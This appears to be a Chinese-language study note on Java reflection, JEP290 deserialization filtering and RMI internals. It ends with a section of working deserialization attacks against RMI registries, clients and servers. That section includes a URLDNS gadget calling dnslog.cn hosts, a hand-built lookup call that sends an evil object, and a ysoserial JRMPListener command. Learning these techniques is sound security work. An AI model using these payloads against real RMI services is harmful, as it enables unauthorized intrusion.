java反射
值的修改
public
等属性的值的修改很简单。但private
,final
的值修改有改变。
比如修改下类的4个属性。
class privateClass {
private String privateField = "private value";
private final String finalPrivateField = "final private value";
private static String staticPrivateField = "static private value";
private static final String finalStaticPrivateField = "final static private value";
public String getPrivateField() {
return privateField;
}
public String getFinalPrivateField() {
return finalPrivateField;
}
public static String getStaticPrivateField() {
return staticPrivateField;
}
public static String getFinalStaticPrivateField() {
return finalStaticPrivateField;
}
}
private
Field privateField = cls.getDeclaredField("privateField");
privateField.setAccessible(true);
privateField.set(obj, "changed private value");
System.out.println(obj.getPrivateField());
修改private
属性的值需要setAccessible(true)
final
Field finalPrivateField = cls.getDeclaredField("finalPrivateField");
finalPrivateField.setAccessible(true);
Field modifiers = Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
newModifiers = finalPrivateField.getModifiers() & ~Modifier.FINAL;
modifiers.setInt(finalPrivateField, newModifiers);
finalPrivateField.set(obj, "changed final private value");
System.out.println(finalPrivateField.get(obj));
System.out.println(obj.getFinalPrivateField());
final
的值无法直接修改,可以通过modifiers
清除该属性的final
关键字,然后再赋值。
上例中的输出如下
finalPrivateField.get(obj) --> changed final private value
obj.getFinalPrivateField() --> final private value
getFinalPrivateField
的结果没有改变,这其实是编译器的锅。因为其设置为final
,编译器优化getFinalPrivateField
的代码为
public String getFinalPrivateField() {
return "final private value";
}
所以输出不变。
static
Field staticPrivateField = cls.getDeclaredField("staticPrivateField");
staticPrivateField.setAccessible(true);
staticPrivateField.set(null, "changed static private value");
System.out.println(privateClass.getStaticPrivateField());
static
可以直接改,实例改为null
。
ObjectInputStream
本文参照以下网址学习:
- Java 反序列化之 readObject 分析 :https://blog.kaibro.tw/2020/02/23/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BreadObject%E5%88%86%E6%9E%90/
filterCheck
filterCheck
是在 JEP290 实现的一种防御机制。用于反序列化时,利用过滤器对反序列化类型进行过滤。
当一个类反序列化时,会进入这里对类利用自定义的过滤器进行检查。
我们这里使用以下代码进行测试:
import sun.misc.ObjectInputFilter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.security.PrivilegedAction;
import java.util.HashMap;
public class test {
public static void main(String[] args) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HashMap<String, String> hm = new HashMap<String, String>();
hm.put("name", "afkl");
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hm);
oos.flush();
oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
// 利用特权模式指定对应ObjectInputStream对象的Filter
java.security.AccessController.doPrivileged((PrivilegedAction<Void>) () -> {
ObjectInputFilter.Config.setObjectInputFilter(ois, filter::testFilter);
return null;
});
Object obj = ois.readObject();
System.out.println(obj.toString());
}
static class filter {
public static ObjectInputFilter.Status testFilter(ObjectInputFilter.FilterInfo filterInfo) {
// 获取传入的Class类型
Class<?> cls = filterInfo.serialClass();
// 对传入的Class类型进行检查
if (cls == HashMap.class) {
System.out.println("wow");
return ObjectInputFilter.Status.REJECTED;
}
return ObjectInputFilter.Status.ALLOWED;
}
}
}
/*
输出:
wow
七月 22, 2021 11:25:29 下午 java.io.ObjectInputStream filterCheck
INFO: ObjectInputFilter REJECTED: class java.util.HashMap, array length: -1, nRefs: 1, depth: 1, bytes: 61, ex: n/a
Exception in thread "main" java.io.InvalidClassException: filter status: REJECTED
at java.io.ObjectInputStream.filterCheck(ObjectInputStream.java:1452)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:2117)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1971)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2281)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1788)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:586)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:496)
at test.main(test.java:30)
*/
ObjectInputFilter.Status
一共有三种类型
enum Status {
UNDECIDED, // 不确定,但不会报错打断执行
ALLOWED, // 通过
REJECTED; // 不通过,会报错打断当前的反序列化
}
在调用特权模式时,调用栈如下:
setInternalObjectInputFilter:1417, ObjectInputStream (java.io)
access$000:222, ObjectInputStream (java.io)
setObjectInputFilter:295, ObjectInputStream$1 (java.io)
setObjectInputFilter:298, ObjectInputFilter$Config (sun.misc)
lambda$main$0:26, test
run:-1, 000000000000000000 (test$$Lambda$4)
doPrivileged:678, AccessController (java.security)
main:25, test
首先进入ObjectInputFilter$Config
的setObjectInputFilter
方法。
public static void setObjectInputFilter(ObjectInputStream inputStream, ObjectInputFilter filter) {
Objects.requireNonNull(inputStream, "inputStream");
sun.misc.SharedSecrets.getJavaOISAccess().setObjectInputFilter(inputStream, filter);
}
getJavaOISAccess
里取出了ObjectInputStream
在静态代码块定义的一个匿名对象。
随后进入该匿名对象的setObjectInputFilter
方法。再次调用实例的setInternalObjectInputFilter
方法
最后为serialFilter
赋值。
RMI
rmi架构
Client
public class RMIClient {
public static void main(String[] args) {
try {
Registry reg = LocateRegistry.getRegistry(9999);
// 这里reg获取的是RegistryImpl_Stub对象
Object obj = reg.lookup("calc");
System.out.println(obj.toString());
calcImpl calc = (calcImpl) obj;
calc.add(1, 1);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Client
的lookup
、bind
、rebind
等操作均在RegistryImpl_Stub
类内定义。这些操作都是使用opnum
来进行识别。如下展示的lookup
流程(仅展示部分重要代码)
// 创建一个新的远程通信,重要的是那个2,2是lookup流程的操作数(opnum)
StreamRemoteCall call = (StreamRemoteCall)ref.newCall(this, operations, 2, interfaceHash);
try {
// 获取输出流,并写入string来获取希望的对象。
java.io.ObjectOutput out = call.getOutputStream();
out.writeObject($param_String_1);
} catch (java.io.IOException e) {
throw new java.rmi.MarshalException("error marshalling arguments", e);
}
ref.invoke(call); // 其内部调用 call.executeCall 执行一次远程通信
java.rmi.Remote $result;
try {
// 获取输入流,并反序列化输入流
java.io.ObjectInput in = call.getInputStream();
$result = (java.rmi.Remote) in.readObject();
} catch (ClassCastException | IOException | ClassNotFoundException e) {
call.discardPendingRefs();
throw new java.rmi.UnmarshalException("error unmarshalling return", e);
} finally {
ref.done(call); // 释放远程通信
}
return $result;
其它的操作大体相同,大致流程都为:
根据操作数获取远程通信->序列化并发送操作需要的参数->获得回复并处理->释放远程通信
上例获取的obj
是一个动态代理对象,获取的obj
是一个动态代理对象,其处理器为RemoteObjectInvocationHandler
。calc
是obj
转换成对应接口的对象。假设calc
调用接口中对应的方法,因为其实际为代理类,所以会调用到RemoteObjectInvocationHandler
的invoke
方法中。
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (! Proxy.isProxyClass(proxy.getClass())) {
throw new IllegalArgumentException("not a proxy"); // 是否是代理类
}
if (Proxy.getInvocationHandler(proxy) != this) {
throw new IllegalArgumentException("handler mismatch"); // 是否实现InvocationHandler接口
}
if (method.getDeclaringClass() == Object.class) { // 调用的方法的声明在Object里的话
return invokeObjectMethod(proxy, method, args); // 直接去调用Object类里的方法
} else if (
"finalize".equals(method.getName()) &&
method.getParameterCount() == 0 &&
!allowFinalizeInvocation)
{
return null; // ignore
} else {
return invokeRemoteMethod(proxy, method, args); // 其它情况调用远程对象
}
}
跟进至invokeRemoteMethod
,其主要代码如下图:
开始会检测对应的代理对象是否是Remote
的实例,其中Remote
是一个空的接口。如果proxy
不是Remote
的实例,即没有实现Remote
接口的话,便会抛出报错。代理对象是Remote
的实例有两种情况(可能更多)。
// 1. 接口直接继承Remote接口
interface testImpl extends Remote {
public int add(int a, int b);
}
// 2. 接口的实现类同时继承Remote接口
class testImplHandler1 implements testImpl, Remote {
@Override
public int add(int a, int b) {
return a + b;
}
}
第二个是查看对应方法的声明类是否是Remote
的超类。不是的话直接抛错。
最后调用ref.invoke
,其中ref
是UnicastRef
类的实例。其对应的重要代码如下:
{...}
Connection conn = ref.getChannel().newConnection(); // 获取TCP链接
RemoteCall call = null;
boolean reuse = true;
{...}
call = new StreamRemoteCall(conn, ref.getObjID(), -1, opnum); // 获取以流为基础的远程通信
{...}
ObjectOutput out = call.getOutputStream(); // 获取输出流
marshalCustomCallData(out); // 空方法
// 获取调用方法的参数的类型
Class<?>[] types = method.getParameterTypes();
for (int i = 0; i < types.length; i++) {
marshalValue(types[i], params[i], out); // 序列化对应值
}
{...}
call.executeCall(); // 执行远程调用
{...}
Class<?> rtype = method.getReturnType(); // 获取方法的返回值
if (rtype == void.class) // void返回null
return null;
ObjectInput in = call.getInputStream(); // 获取输入流
Object returnValue = unmarshalValue(rtype, in); // 反序列化远程调用返回的序列化值
{...}
ref.getChannel().free(conn, true); // 释放TCP链接
{...}
return returnValue;
Server & Registery
import calc.calcRemote; // 一个普通的类实现
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try {
Registry reg = LocateRegistry.createRegistry(9999);
// 这里reg获取到的是RegistryImpl对象
reg.bind("calc", new calcRemote());
} catch (Exception e) {
e.printStackTrace();
}
}
}
当收到Client
的请求时,Server
会调用RegistryImpl_Skel
的dispatch
方法。通过魔数来switch
选择调用方法。
public void dispatch(java.rmi.Remote obj, java.rmi.server.RemoteCall remoteCall, int opnum, long hash)
throws java.lang.Exception {
if (opnum < 0) {...} else {...}
sun.rmi.registry.RegistryImpl server = (sun.rmi.registry.RegistryImpl) obj;
StreamRemoteCall call = (StreamRemoteCall) remoteCall;
switch (opnum) {
case 0: // bind(String, Remote)
{...}
case 1: // list()
{...}
case 2: // lookup(String)
{...}
case 3: // rebind(String, Remote)
{...}
case 4: // unbind(String)
{..}
default:
throw new java.rmi.UnmarshalException("invalid method number");
}
}
对于lookup
请求,服务器最后会调用至UnicastServerRef
的dispatch
方法。
较为重要的代码片段如下。
MarshalInputStream marshalStream = (MarshalInputStream) in; // 获取输入流
marshalStream.skipDefaultResolveClass();
Method method = hashToMethod_Map.get(op); // 通过hash在hashmap中获取方法
if (method == null) { // 没有对应方法就报错
throw new UnmarshalException("unrecognized method hash: " +
"method not supported by remote object");
}
// unmarshal parameters
Object[] params = null;
try {
unmarshalCustomCallData(in);
// 反序列化参数,调用 UnicastRef::unmarshalValue 方法
params = unmarshalParameters(obj, method, marshalStream);
} catch (Exception e) {
// ...
} finally {
call.releaseInputStream(); // 释放连接
}
// make upcall on remote object
Object result;
try {
result = method.invoke(obj, params); // 调用对应的方法
} catch (InvocationTargetException e) {
throw e.getTargetException();
}
// marshal return value
try {
ObjectOutput out = call.getResultStream(true);
Class<?> rtype = method.getReturnType();
if (rtype != void.class) {
marshalValue(rtype, result, out); // 序列化调用结果
}
} catch (IOException ex) {
// ...
} finally {
call.releaseInputStream(); // in case skeleton doesn't
call.releaseOutputStream();
}
marshalValue
和unmarshalValue
会分别进行序列化和反序列化。这两个方法在客户端和服务端都会出现。
攻击方法
jdk-8u121以下版本
Server 攻击 注册中心
注册中心代码如下
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try {
Registry reg = LocateRegistry.createRegistry(9999);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Server
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RMIClient {
public static void main(String[] args) {
try {
Registry reg = LocateRegistry.getRegistry(9999);
Remote obj = getEvilCalc();
// rebind或者bind 触发反序列化
reg.rebind("calc", obj);
System.out.println("ok");
} catch (Exception e) {
e.printStackTrace();
}
}
private static Remote getEvilCalc() throws Exception {
// ----URLDNS gadget----
String url = "http://9ragt0.dnslog.cn";
URLStreamHandler ush = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, ush);
ht.put(u, url);
Class<?> cls = u.getClass();
Field hc = cls.getDeclaredField("hashCode");
hc.setAccessible(true);
hc.setInt(u, -1);
// ----URLDNS gadget----
// 利用jdk原生代理使payload对象动态实现Remote接口
InvocationHandlerImpl handler = new InvocationHandlerImpl(ht);
Remote exp = (Remote)Proxy.newProxyInstance(
handler.getClass().getClassLoader(),
new Class[]{Remote.class},
handler
);
return exp;
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
static class InvocationHandlerImpl implements InvocationHandler, Serializable {
protected Map map;
public InvocationHandlerImpl(Map map) {
this.map = map;
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
return null;
}
}
}
客户端 攻击 注册中心
在低版本中,注册中心的lookup
方法使用了readObject
。所以client
可以通过lookup
攻击注册中心。
因为通过LocateRegistry.getRegistry
方法得到的RegistryImpl_Stub
对象的lookup
方法只支持传入字符串。所以这里重新实现lookup
方法传入恶意对象。
攻击代码如下
public class RMIClient {
public static void main(String[] args) {
try {
Registry reg = LocateRegistry.getRegistry(9999);
CAttackR.CustomCallRegistry(reg, getEvilObject("http://d2iutj.dnslog.cn"));
} catch (Exception e) {
e.printStackTrace();
}
}
public static Remote getEvilObject(String url) throws Exception {
// URLDNS payload
}
}
public class CAttackR {
public static void CustomCallRegistry(Registry reg_stub, Object evilObj) throws Exception {
//===获取一些常量方便下面的调用===
Field FieldRef = reg_stub.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
FieldRef.setAccessible(true);
UnicastRef ref = (UnicastRef)FieldRef.get(reg_stub);
Field FieldOperations = reg_stub.getClass().getDeclaredField("operations");
FieldOperations.setAccessible(true);
Operation[] operations = (Operation[])FieldOperations.get(reg_stub);
//===获取一些常量方便下面的调用===
// 模拟lookup过程
StreamRemoteCall call = (StreamRemoteCall)ref.newCall(
(RemoteObject) reg_stub,
operations,
2,
4905912898345647071L
);
java.io.ObjectOutput out = call.getOutputStream();
out.writeObject(evilObj);
ref.invoke(call);
}
}
在高版本中,lookup
的readObject
替换为readString
。上面的方法就用不了了。
客户端 与 服务器 的相互攻击
因为marshalValue
和unmarshalValue
两个方法的都会在client
和Server
中调用。所以两者之间是可以相互攻击的。
当然,这种攻击对两者之间共同使用的接口有很大关系。
- 对于C攻击S,需要远程接口的一个方法含有
Object
类型的参数。 - 对于S攻击C,需要远程接口的返回值为
Object
类型。
注册中心 攻击 服务器 和 客户端
使用yso
启动一个JRMP
的恶意服务器。只要C或者S获取此服务器的注册中心,并执行rmi
的动作(list / unbind / lookup / rebind / bind)就会被反序列化攻击。
java.exe -cp yso.jar ysoserial.exploit.JRMPListener 7777 URLDNS "http://jb7uvs.dnslog.cn"
* Opening JRMP listener on 7777
Have connection from /169.254.17.51:3916
Reading message...
Sending return with payload for obj [0:0:0, 0]
Closing connection
public class RMIClient {
public static void main(String[] args) {
try {
Registry reg = LocateRegistry.getRegistry(7777);
calcInterface obj = (calcInterface) reg.lookup("calc");
obj.add(1, 2);
} catch (Exception e) {
e.printStackTrace();
}
}
}